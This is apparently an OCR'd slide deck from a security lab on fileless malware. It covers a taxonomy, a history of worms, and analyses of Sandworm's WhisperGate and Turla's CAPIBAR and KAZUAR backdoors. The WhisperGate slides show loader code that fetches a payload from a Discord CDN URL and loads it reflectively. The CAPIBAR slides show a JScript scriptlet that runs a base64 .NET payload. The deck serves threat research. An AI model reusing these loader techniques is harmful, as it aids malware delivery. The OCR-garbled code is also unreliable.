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Fileless threats - taxonomy

e Type I: No file activity performed. A completely fileless
malware can be considered one that never requires
writing a file on the disk.

e Type ll: No files written on disk, but some files are
used indirectly. There are other ways that malware can
achieve fileless presence on a machine without
requiring significant engineering effort. Fileless malware
of this type do not directly write files on the file system,
but they can end up using files indirectly.

Taxonomy

Mi3IN  FILE

N80

C of fileless threats
persistence. Some malware can have some sort of '
fileless persistence but not without using files in order to

operate.

e Type lll: Files required to achieve fileless

Source:
https://www.microsoft.com/en-us/security/blog/2018/09/27/out-of-sight-but-not-invisible-defeating-fileless-malware-with-behavior-mo
nitoring-amsi-and-next-gen-av/
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https://www.microsoft.com/en-us/security/blog/2018/09/27/out-of-sight-but-not-invisible-defeating-fileless-malware-with-behavior-monitoring-amsi-and-next-gen-av/
https://www.microsoft.com/en-us/security/blog/2018/09/27/out-of-sight-but-not-invisible-defeating-fileless-malware-with-behavior-monitoring-amsi-and-next-gen-av/
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Fileless threats - taxonomy (2)

Exploits Hardware Execution or injection
e File-based (Type lll: ® Device-based (Type I: e File-based (Type lll:
executable, Flash, Java, network card, hard disk) executables, DLLs, LNK files,
documents) e CPU-based (Type ) SO NEREN'S
e Network-based (Type I) e USB-based (Type I)  Macro-based (Type llI:

e B|OS-based (Type ) Office documents)

e Hypervisor-based (Type |) e Script-based (Type ll: file,
service, registry, WMI repo,
shell)

e Disk-based (Type II: Boot
Record)

Source: https://www.microsoft.com/en-us/security/bloq/2018/09/27/out-of-sight-but-not-invisible-defeating-fileless-malware-with-behavior-monitoring-amsi-and-next-gen-av/

NioGuard Security Lab © 2023


https://www.microsoft.com/en-us/security/blog/2018/09/27/out-of-sight-but-not-invisible-defeating-fileless-malware-with-behavior-monitoring-amsi-and-next-gen-av/
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History of fileless threat

1981 — «Elk Cloner»

Platform: Apple Il
Description: made boot-sector infection of floppy-disc, rotation images, blinking text.

Displayed message: ELK CLOMNER :
THE PROGEAM MWITH A FPERSONARLITY
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Source: https://arxiv.org/pdf/2007.15759.pdf
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https://arxiv.org/pdf/2007.15759.pdf

History of fileless threat

1986 — «Brain»
Platform: IBM PC

Goal: to gauge the level of piracy
in Pakistan

Description: infecting a disc's boot
sector and changing the disk
name to '© Brain’

Brain was the first “stealth virus”
written by a 19 year old
Pakistani programmer, Basit
Farooq Alvi, and his brother
INnIEL

Source: https://en.wikipedia.org/wiki/Brain (computer virus)
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Displacement

0000(0000)
0016(0010)
0032(0020)
0048(0030)
0064(0040)
0080 (0050)
0096(0060)
0112(0070)
0128(0080)
0144(0030)
0160 (00AB)
0176(0080)
0192(00C0)
0208 (0BDO)
0224(00E0)
0240 (00F0)

Hex codes

FA E9 44 01 34 12 00 07 14 00 01 00 00 00 00 20

20 20 20 20 20 20 57 65 6C 63 6F 6D 65 20 74 6F
20 74 68 65 20 44 75 6E 67 65 6F 6E 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 28 63 29 20 31 39 38 36 20 42 61 73 69 74 20
26 20 41 6D 6A 61 64 20 28 70 76 74 29 20 4C 74
b4 ZE 20 20 20 20 20 20 20 20 20 20 20 20 20 Z0
20 42 52 41 49 4E 20 43 4F 4D 50 55 54 45 52 20
a3 45 52 96 43 43 45 53 ZE ZE 37 33 30 20 4E 43
of 41 4D 20 42 4C 4F 43 4B 20 41 4C 4C 41 4D 41
20 49 51 42 41 4C 20 54 4F 57 4E 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 4C 41 46 4F 52
45 £D 50 41 4B 49 53 54 41 4E ZE ZE 50 48 4F 4E
45 20 30 34 33 30 37 39 31 ZC 34 34 33 32 34 3B
ZC 32 38 30 35 33 30 ZE 20 20 20 20 26 20 26 20
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ASCII value
-gJo4gorme

Welcome to
the Dungeon

(c) 1386 Basit
g Anjad (put) Lt

BRATN COMPUTER
SERVICES. . 730 NI
26H BLOCK ALLAMA
T0BAL TOUN

© U LAHDR
E-PAKISTAN. . PHIN
E :430791,443248
2680530



https://en.wikipedia.org/wiki/Brain_(computer_virus)
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History of fileless threat

20 Aug 2001 — worm «CodeRed»

L aunched a successful attack on the official website of the President of the USA
(www.whitehouse.qgov).

*Attacked Microsoft [IS Web Servers (MS01-033)
*Defacing: "HELLO! Welcome to http://www.worm.com! Hacked By Chinese!”
Fileless technology was used. Worm'’s bytecode:

GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNN
Tu90903u6e83583uckd3zu78013u90303u68583uckbd3zu7801
Tu90903u68583uckd33su78013u903903u90903u81903u00c3
u00033%3u8b003usS31b3FusS3ffIu0078%3u0000%u00=a HITP/1.C

Source: https://en.wikipedia.org/wiki/Code Red (computer worm)
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http://www.whitehouse.gov/
https://en.wikipedia.org/wiki/Code_Red_(computer_worm)
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History of fileless threat

Jan 2003—- worm «Slammer/Sapphire»

 Used a vulnerability in the MS SQL Server MS SQL Server 2003 to spread. Using ports
—1433,1434.

* On penetrating machines did not copy itself on any disk, but simply remained in
computer memory. It was infected more than 120 000 servers during 10 minutes.

The worm was made possible by a software security vulnerability in SQL Server first
reported by Microsoft on July 24, 2002.

Source:https://en.wikipedia.ora/wiki/SQL Slammer

Figure 1. The geographical spread of Slammer in the 30 minutes after its release. The diameter

N | OG u ard S ecu r|ty L a b © 20 23 of each circle is a function of the logarithm of the number of infected machines

so large circles


https://en.wikipedia.org/wiki/SQL_Slammer
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Defense evasion (TAO005):
Reflective Code Loading (T1620)

Adversaries may reflectively load code into a process in order to conceal the execution
of malicious payloads. Reflective loading involves allocating then executing payloads
directly within the memory of the process, vice creating a thread or process backed by a
file path on disk. Reflectively loaded payloads may be compiled binaries, anonymous files

(only present in RAM), or just snubs of fileless executable code (ex:
position-independent shellcode).

Source: https://attack.mitre.org/tactics/TAO00S/

MITRE | ATT&CK
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https://attack.mitre.org/tactics/TA0005/
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Sandworm APT (GRU Unit 74455)

A.k.a. ELECTRUM, Telebots, IRON VIKING, BlackEnergy, Quedagh, VOODOO

BEAR

Attributed attacks:

e BlackEnergy (2015)

e |ndustroyer (2016)

e NotPetya (2017)

e Olympic destroyer (2018)
e \WhisperGate (2022)

Source: https://attack.mitre.org/groups/G0034/
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e GRU T
(Military Intelligence)

Centre 16: Centre of GRUSSG\: Fieldpost
the collection of number 26165
Radio-Electronic

Publicly known as:
Sandworm

Publicly known as
Energetic Bear

IRON LIBERTY
ALLANITE
CASTLE
Crounc hing Yeti
DYMALLOY
TG-4192

Source: https://www.qgov.uk/government/publications/russias-fsb-malign-cyber-activity-factsheet/russias-fsb-malign-activity-factsheet



https://www.gov.uk/government/publications/russias-fsb-malign-cyber-activity-factsheet/russias-fsb-malign-activity-factsheet
https://attack.mitre.org/groups/G0034/

Wiper attacks in 2022

2022
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WhisperGate

C { & mongovus

Date: 13-14 Jan 2022 ' _'
Targets: Government infrastructure @@@@
Discovered by: CERT-UA, Microsoft

AttrlbUtlon DEV—O586 (G RU) YKkpaiHeub! Bci Bawi ocobucTti aadHi Oynum 3aBaHTaxeHl B

3arajibHy mMepexy. BC1 AaH1 Ha KOMMN '0Tep1 3HMUYIOTbCS,
B1AHOBUTU TX HEMOX/IMBO. BcCca THpopmauis npo Bac crtana

Platform WlndOWS 64/32-b|t nybniyHow, 6inuTecs 1 4yekaute ripworo. Lle Bam 3a Baue

MUHYJIe, CbOoroseHHs 1 MambyTHE. 3a BonuHb, 3a OYH YIA,
Delivery:

3a FasM4uMHy, 3a Moniccsa 1 3a ICTOPUYHT 3emni.
® Stage1 exe MBR erter _> YKpauvHel! Bce BawM siNMHbIE AaHHbIe ObUIM 3arpyxeHbl B
- - obulyio ceTb. BCe AaHHbIE HA KOMMbIOTEpPEe YHUYTOXAWTCH,
BOCCTAaHOBUTbL MX HEBO3MOXHO. BCs uHpopMauus o0 Bac

O Stagezexe TrOJan—Downloader —> Dlscord ctana nybnuyHon, GbouTeCchb M XauTe Xyawero. 3To Bam 3a

Ballile Tpouwnoe, HacCcTosAlEeeE M 6y11y1uee. 3a BOJsbiHb, 3a OYH

YNA, 3a lNanvuuuvio, 3a lMonecbe U 3a UCTOPUYECKUE 3EeM/IN.

Ukrainiec! wWszystkie Twoje dane osobowe zostaty

DeStrUCtlon przestane do wspdlnej sieci. Wszystkie dane na

komputerze s3 niszczone, nie mozna ich odzyskac.
wWszystkie informacje o Tobie staty sie publiczne, boj

o Wlplng every 199th SeCtor sie 1 czekaj na najgorsze. To dla Ciebie za two]j3

przesztosSc, terazniejszosc i przyszlosc. Za Wotlyn, za

PY Fl”lng flIeS Wlth ‘OX1 OOOOO’ Of ‘OXCC’ byte OUN UPA, Galicje, Polesie i za tereny historyczne.

NioGuard Security Lab © 2023




On Disk

Stage2.exe

(Tbopbh.exe)
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On Disk

\_Discord CDN ¢

Process Holllowing

InstallUtil.exe

(file wiper)

Step 2

Tbopbh.jpg
> .NETDLL » InstallUtil.exe
 Step 1 .

Frikmikdkdubkznbkmcf.dll

) Version Info

() 78cB855a088924e92a7f60d66 1c3d 1845

0 5 8 — R/ BR R R/ S —an—it

() 7c8cb5598e724d34384cce7402b11f0e
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Public file sharing services

e \WhisperGate (stage2.exe): Downloading a malware from the Discord
CDN as an attachment

ul

File Edit View Debug Window Help @ 2 C# - p Stat O

Assembly Explorer v X Facade
4 g Tbopbh (10.0.18362.1500) L num2 = 7;
4 = Tbopbh.exe continue;
b= PE . i
D =B Type References .InsertItem(array, 0, array. ys
P =B References S 2o
> R ‘
| 4 {} -esources /€ byte[] array2 = (byte[]) .UpdateItem(typeof(WebClient).GetMethod("DxownxloxadDxatxxax".Replace("x", ""); new Type]]
{
b 4 @02000003 : .MoveItem(typeof(string). le)
b %, <Module> @02000001 }), new WebClient(), new ::t:‘fe.:t[j
b %, <Module>{89a366a7-2270-4¢ | {

b 4, @02000002 "https://cdn.discordapp.com/attachments/928503440139771947/930108637681184768/Thopbh. ipg"
b %5, @02000005 - 1)

b %, MockParamsStub @0200000 ‘ 138 ==10)

{
P {} WindowsFormsApp12.Properties num2 = 4:

NioGuard Security Lab © 2023
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Decoding JPG file to PE

e Tbopbh.jpg =(reverse bytes)=> Frkmlkdkdubkznbkmcf.dll

O 1 Z S = 0, © S
00044520 85 40 00 03 00 00 OO0 00 00 00 C
00044534 00 00 OO 04 00O OO0 OO OO OO 00O 0O
00044548 00 40 00 00 OO0 04 o0 OO0 OO 00 20 00 C
)004455C 00 00 06 00 00 04 3E 00 )1 ’
00 00 00 61 DC 45 2:

00 06 01 OB 2
00 00 24 OA OD 0D 2I Tbopbh_
B8 21 CI

B & D E FF 10 11 / 3 123456 [89A "F'0123
2 00 00 04 AO 00 00 00 oc My s s iR sl N SR
g4 080 08 02 06 00 B 20 Bl |cosswavsmeesssss o

( )

)

) .
04 5D A6 00 00 OC s smw suww sew]eswwes
Z 00 BO DO B0 00 0 | wes 05 e om oo il @ o
- ) 00 00 OC .
jpg . 20 6E 69 susSanss8dom SO0D ni

. 12 87 6F nur eb tonnac margor

09

B4 gE. BR 1IE QFE [P SERE] «Lhe e ) owow now wm

15 72 20 65 62 20 7
20 73 69 68 54 21 4C 01 BE CD
B R D S | il R o i s i i T s it

000445C0 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 ) C
)00445D4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0O 10 00 00 40 o mee e

00 00 00 00 00 OO0 B8 00 00 FF FF 00 0O ) Q0 09 O3 |ass smarsnmessswns wes

000445FC 00 90 5A 4D

if (array == null)
1ew ArgumentNullException("array”);
}
if (index < array.GetlLowerBound(@) || length < @)
r

1ew ArgumentOutOfRangeException((index < @) ? "index" : "length",
("ArgumentOutOfRange NeedNonNeghum™));

if (array. - (index - array.GetlLowerBound(@)) < length)

bool flag = Array.TrySZReverse(array, index, length);

NioGuard Security Lab © 2023
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Loading a decoded fileless .NET DLL

e Tbopbh.jpg =(reverse bytes)=> Frkmlkdkdubkznbkmcf.dll

4 O Frkmlkdkdubkznbkmcf (1.0.0.0)
F - FrkmIf«:dkd'k‘)kznbkmcf.dll
P =-B Type References
D - Referer F;‘L"‘v]i'}'_':f'riij'_)'b.L::Hb":rn':f'd“

b Ml Resour NET Framework 4

4 {} - AnyCPU (64-bit preferred)
b Qg \ul
P 4%, \u000Z\u2000 @02000003
by @02000004

P 4% \u0002\u2001 @02000005

NioGuard Security Lab © 2023
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Loading .NET DLL and launching as an Assembly

1. Create an instance of ‘RuntimeAssembly’ class
2. .NET constructs a dynamic reference on the fly as a result of calling
Assembly.Load

‘ tatic Assembly PrintFacade()

i_{-"_t_-'.l_ >LalLl_l ) inte al stati ':‘,", . ,f" 'f'-; »(717 A_O)
int num = 3; : f ; -
Sob T = nim: 3 Assembly.Load(A 0); Z 7 ) =
nteR e } {} System.Reflection
ASSEmb.Ly 3 . . -
e £ P AmbiguousMatchException @0200058!
or (33) g P
{ P %3 Assembly @02000586
Assembly assembly2; - A
switch (num2)
{
case 1:
‘2 | 2] | = Manager.ReflectItem(methodInfo2.Name, "Ylfwdwgmpilzyaph");
case 7 num = 11; k |
7858{32 Ny

methodInfo2 = methodInfo;

NioGuard Security Lab © 2023


https://learn.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load
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Loading .NET DLL and launching as an Assembly

3. Use Reflection to execute Assembly’'s method in runtime

> | = Manager.ReflectItem(methodInfo2.Name, "Ylfwdwgmpilzyaph");
num = 11; k- I

methodInfo2 = methodInfo;

NioGuard Security Lab © 2023
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Loading .NET DLL and launching as an Assembly

4. We are in the Assembly (Frkmlkdkdubkznbkmcf.dll) now

Assembly Explorer v X Man X
b % @020000A5 ~ using System;
b 4, @02 v ‘b :
b 4% \uD0OE\u2005 @020000AF C$55L1 EREyS F k Ikd kd bk bk f d”
b 4%, \u000E\u2006 @02000080 : ‘ 'KIm u ZN MCI.
b *9 \u00OE\u2007 @020000B1 oy 07 PR S ‘ ;
b 4% @020000B2
b 4% \uOOOE\u2009 @020000B3
puy @02000084 ublic static void Ylfwdwgmpilzyaph()
b 4% \uO0OE\u2008 @020000B5 ,
b %, DO2000088 3 .\U@eRE\u2005\u2008().\ueee2( . \u@eeF\u2005\u2008(), "#6k@H!ug=A", null);
b 4%, \u00OF\u2000 @020000 :
D % UL ) :
b % @020000BE ivate statj id \ueee2()
D'e UO00R\ u2001\u2000 @02 {
b %% \u00OF\u2002 @020000C0 - \UBBOE\u2005\u20800( ) . \ueee2( - \UBBOF \u2005\u2008(),
b %%, \u000F\u2002\u2000 @02 s
b 4%, \u0DOF\u2003 @020000C4
A f= NN L NN LN NN

$#
—
S

NioGuard Security Lab © 2023



Turla or VENOMOUS BEAR APT

A.k.a. Snake, VENOMOUS Bear, Group 88, Waterbug, WRAITH, Uroburos, Pfinet,
TAG_0530, KRYPTON, Hippo Team, Pacifier APT, Popeye, SIG23, IRON HUNTER,
MAKERSMARK, ATK13, G0010, ITG12, Blue Python, SUMMIT, UNC4210

Turla is a Russian-based threat group that has infected victims in
over 45 countries, spanning a range of industries including
government, embassies, military, education, research and
pharmaceutical companies since 2004.

Attributed attacks:
2008: the US Central Command

NioGuard Security Lab © 2023

20
20
20

\

\

\

3: Finnish Foreign Ministry
4-2016: The Swiss military firm RUAG
7-2018: the German government

Source: https://attack.mitre.org/versions/v10/qroups/G0010/
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WARNING |

DO NOT
FEED
THE BEARS


https://attack.mitre.org/versions/v10/groups/G0010
https://attack.mitre.org/versions/v10/groups/G0010/
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Turla attack delivering CAPIBAR and KAZUAR
backdoors (CERT-UA#6981)

NioGuard Security Lab © 2023

Microsoft Threat Intelligence
@MsftSecIntel

Microsoft has identified targeted attacks against the defense sector in
Ukraine and Eastern Europe by the threat actor Secret Blizzard
(KRYPTON, UAC-0003) leveraging DeliveryCheck, a novel .NET
backdoor used to deliver a variety of second stage payloads.

cert.gov.ua
CERT-UA

YpsipoBa KOMaHAa pearyBaHHA Ha KOMIM HOTEPHI HaA3BUYaWHI
noaii YkpaiHu, fika GyHKLIOHYE B cknaai Jep>kaBHOI cny>om ...

6:00 PM - Jul 19, 2023 - 69.3K Views

Q 3

Source: https://twitter.com/MsftSecintel/status/1681695399084539908



https://twitter.com/MsftSecIntel/status/1681695399084539908

STAND WITH ==

UKRAINE

Spearphishing email - Feb 2022

From TYLQ BYA ANbAHC <bin_n@ukr.net> & & Reply & Reply All| v

ol lgovua>®

Subject KeuTaHuin 3a enexkrTpoeHeprito (rpyaens 2022)

gavosHuu Oenip Ceprivosuy, pobporo aus!

A npeactasHuk ya Bya AnbAaucy.
Bucwnaw BaM KBMTAHUIN 33 KOMyHanbHL NOCnyru.
Bopru 3pocTtawTk. [poxaHHa po3rnaHyTH cyMmy bopry 1 nOCNPUATH B NOraweHHi.

Y pa3sl AKWO BM He BUKOPUCTOBYETE OD'EKT, AKWUWA BKA3aHWMW B PaxyHKy, NPOCHMO
NPO1HPOPMYBATH,

=

**Toeapucteo 2 obmexeHow eignosipancHicT «MYA BYQ ANBAHC»*
*04071 M.Knig, synuua llekasmubka, OynuHOK 37/48, ODLC | sumcuns coseomomoe

> U 1 attachment: keuTaHuia rpyaexs 2022.xlsm 52,8 KB : K . Q

<<¢¢»>Kuim-:uspro

LLaHoBHUI aboHeHT, npocumo Bac cnaatuTu paxyHoOK 3a enektpoeHeprito ao 10.02.2023 r.

NOCHAAHHA H3 KBMTAKL IO

NioGuard Security Lab © 2023



Executing CAPIBAR
(DeliveryCheck)
NET backdoor from
Jscript as a .NET
Assembly

var o = d.Dynamiclnvoke(al.ToArray()).Createlnstance(entry_class);

NioGuard Security Lab © 2023

|
|
l

<?XML version="1.0"7>
<scriptlet>

<registration
description="Scripting.Dictionary"
progid="Scripting.Dictionary"
classid="{84FOFAE]1-C27B-4F6F-807B-28CF6F96287D}
>
</registration>

<script language="JScript">

<! [CDATA]|
function setversion() {
new ActiveXObject(
}
function debug(s) {}
function base64ToStream(b) {
var enc = new ActiveXObject("System.Text.ASCIIEncoding");
var length = enc.GetByteCount 2(b);
var ba = enc.GetBytes 4(b);
var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform”);
ba = transform.TransformFinalBlock(ba, 0, length);
var ms = new ActiveXObject("System.IO.MemoryStream”);
ms.Write(ba, 0, (length / 4) * 3);
ms.Position = O;
return ms;

) .Environment (

ézglized obj = "AAEAAAD///,
AhEZWx L Z2FOZ0dOYXInZXQwB211dGhvZDADAWMWU3 1 zdGVEERRLDGVNYX XRLU2VyaWFsaXph"+
VbKhvbGRLCITEZWX1Z2FOZUVUdHISIINSc3RIDSSEZWX1Z2FOZVNLemLhbGLEYXRpb25Ib2xK" +
ZXIvU31zdGVELLI 1 Zmx1Y3Rpb24uTWVLYmVySWSmbINLcmlhbGLEYXRpb251Ib2xkZXI JAGAAAAKD "+
' AAAACQQAAAAEAGAAADBTeXNO ZWOURGV s ZWdhdGVT ’I'pYprPPFﬂiPQWSGQ«ZG yKOR1bGVNYXR1 "+
RW50cnkHAAAABHRS cGUIYXNzZW11bHKGAGFyZ2VOENRhemd LAFR5cGVBC3N1bWIseQ50YXInZXRU" +
"eXBlTmFtZQpt Z2XRob2ROYW11DWR1bGVNYXRIRWSOcnkBAQIBA QFDHFHWLBRlnHJFTuxiFTFTFuHI“

Y o
/ / AQAAAAAAAAAEAQAAACI TeXNBZWOURGY s ZWdhd C“lh%Tp wWxpemFOaW9uSGIsZGVy "+

ipublic Program( )

{
ServicePointManager.ExpectlO0Continue = true;
ServicePointManager.SecurityProtocol =
SecurityProtocolType.Ss1l3 | SecurityProtocolType.Tls
SecurityProtocolType.Tlsll | SecurityProtocolType.Tlsl2;
ServicePointManager.ServerCertificateValidationCallback
= Classl.instance.callback;

string Yl =

i

string gameBarld = string.Empty;

try

{
RegistryKey registryKey = Registry.CurrentUser
OpenSubKey | )i
gameBarld = registrykKey.GetValue( ).
ToString().:
registryKey.Close( )

}

catch

{
RegistryKey registryKey2 = Registry.CurrentUser.
OpenSubKey | , true);
RegistryKey rcqxz(ryKo,! = registryKey2. CreateSubKey
(
gameBarld = Guld NewGuid() .ToString():

registryKey3.SetValue( , gameBarld);
/ registryKey3.Close();
registryKey2.Close();
}

if (!'string.IsNullOrEmpty(gameBarld))
{

: new Class0(gameBarld, url); CaplBar

}

static byte|] processCommand(string string 0, Classo0
classb_0)
{
byte[] result = null;
string[] array = string 0.Split(new string[] {
}. StringSplitOptions . RemoveEmptyEntries);
if (array[0] == )
result = Classll . processXSLTCommand(array[]1],
class0 0);
return result;
}
‘static byte[] processxXSLiCommand(string string 0, Class0
classh 6)
{
byte[] result = null;

try
{

" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS
"AAAAAAAAAAARAAAAAAARAAAAAAAAAAARAAAAAAAAAAAAAARAA
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAARAAAAAAAAARAAAA
"AAAAAAAAAAAAAAAAAAAAAAA “A)’U‘\PDD)\AA“OM}‘U’V‘\-]F‘.'\A'\‘\’?\(!NJ\)\I'(RY“,)\l\(l()ﬂ)\h"\\f !T
"UmVmbGV]dGLlvbi5Bc3N1bW]seSBMb2FKKEISdGVhbXSKIAAAACGSA®

var entry class = C

try {
setversion();
var stm = base64ToStream(serialized obj);
var fmt = new ActiveXObject(
var al = new ActiveXObject( 33
var d = fmt.Deserialize 2(stm);
al.Add(undefined);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry class);

</script>

</scriptlet>

string[] array = string 6.S5plit(new string[] {
}, StringSplitOptions.RemoveEmptyEntries);
XmlDocument xmlDocument = new XmlDocument():
XmlDocument xmlDocument2 = new XmlDocument();
xmlDocument , LoadXml(array(@]);
xmlDocument2.LoadXml(array[l]);

XslCompiledTransform transform = new
XslCompiledTransform();
transform.Load{xmlDocument2, XsltSettings.
TrustedXslt, new XmlUrlResolver()):
using (MemoryStream memoryStream = new
MemoryStream())
using (StreamWriter streamWriter = new
StreamWriter(memoryStream))
using (XmlTextWriter xmlTextWriter = new
XmlTextWriter(streamWriter))
{
transform.Transform(xmlDocument,
xmlTextWriter);
result = Convert. FromBase64String(Encoding.

8 > na L men Stream.ToArray()));

tBytes(

return result;

Source: CERT-UA
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Setting CAPIBAR Server using .MOF files (DSC)

MOF => PowerShell => NET backdoor

8 instance of MSFT ScriptResource as SMSFT ScriptResourcelref
9 {

10 ResourcelD =

11 GetScript =

12 TestScript =

13 Sourcelnfo = "::10::1::

14 SetScript = "\nS

15 ModuleName = :
16 ModuleVersion = !
17

18 };
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Executing KAZUAR (Secret Blizzard) .NET backdoor

return M;

;uncs%?n k() {
)
var T = new ActiveXObject(

new ActiveXObject( 1

>-
s

’ J(v);

]Sg[

\

var 1 = pew ActiveXObject(

var C » i.GetSﬁecialFolder(é);

G = 1. BuildPath(G, ‘ );
var, W = null;

if (1.FileExists(C)) {

’ N = 1.0penTextFile(G, 8);

KAZUAR a /,’ : el:e:{i.CrcdteTcxtFilc(G, true);

r

}

W.Write(Q);
} W.Close();
try |

K();
} catch (X) {
Senatorialexe Hostages.exe r(X.message);
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Conclusions

e NET RuntimeAssembly is used for Reflective Code Loading

e Do and

2N

outsource
malware development to the same

contractor (STC “Vulkan”)?
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e How well are we protected against fileless threats?
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Fileless threat mitigation by Microsoft

Windows 10 in S mode: Naturally resistant to fileless attacks

Windows 10 in S mode comes with a preconfigured set of restrictions and policies that make it

naturally protected against a vast majority of the fileless techniques (and against malware in general).

Source:
https://www.microsoft.com/en-us/security/blog/2018/09/27/out-of-sight-but-not-invisible-defeating-fileless-malware-with-behavior-monitoring-amsi-and-next-gen-av/
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ada@nioguard.com
@Alex_Ad

¥ Thank you! ¥
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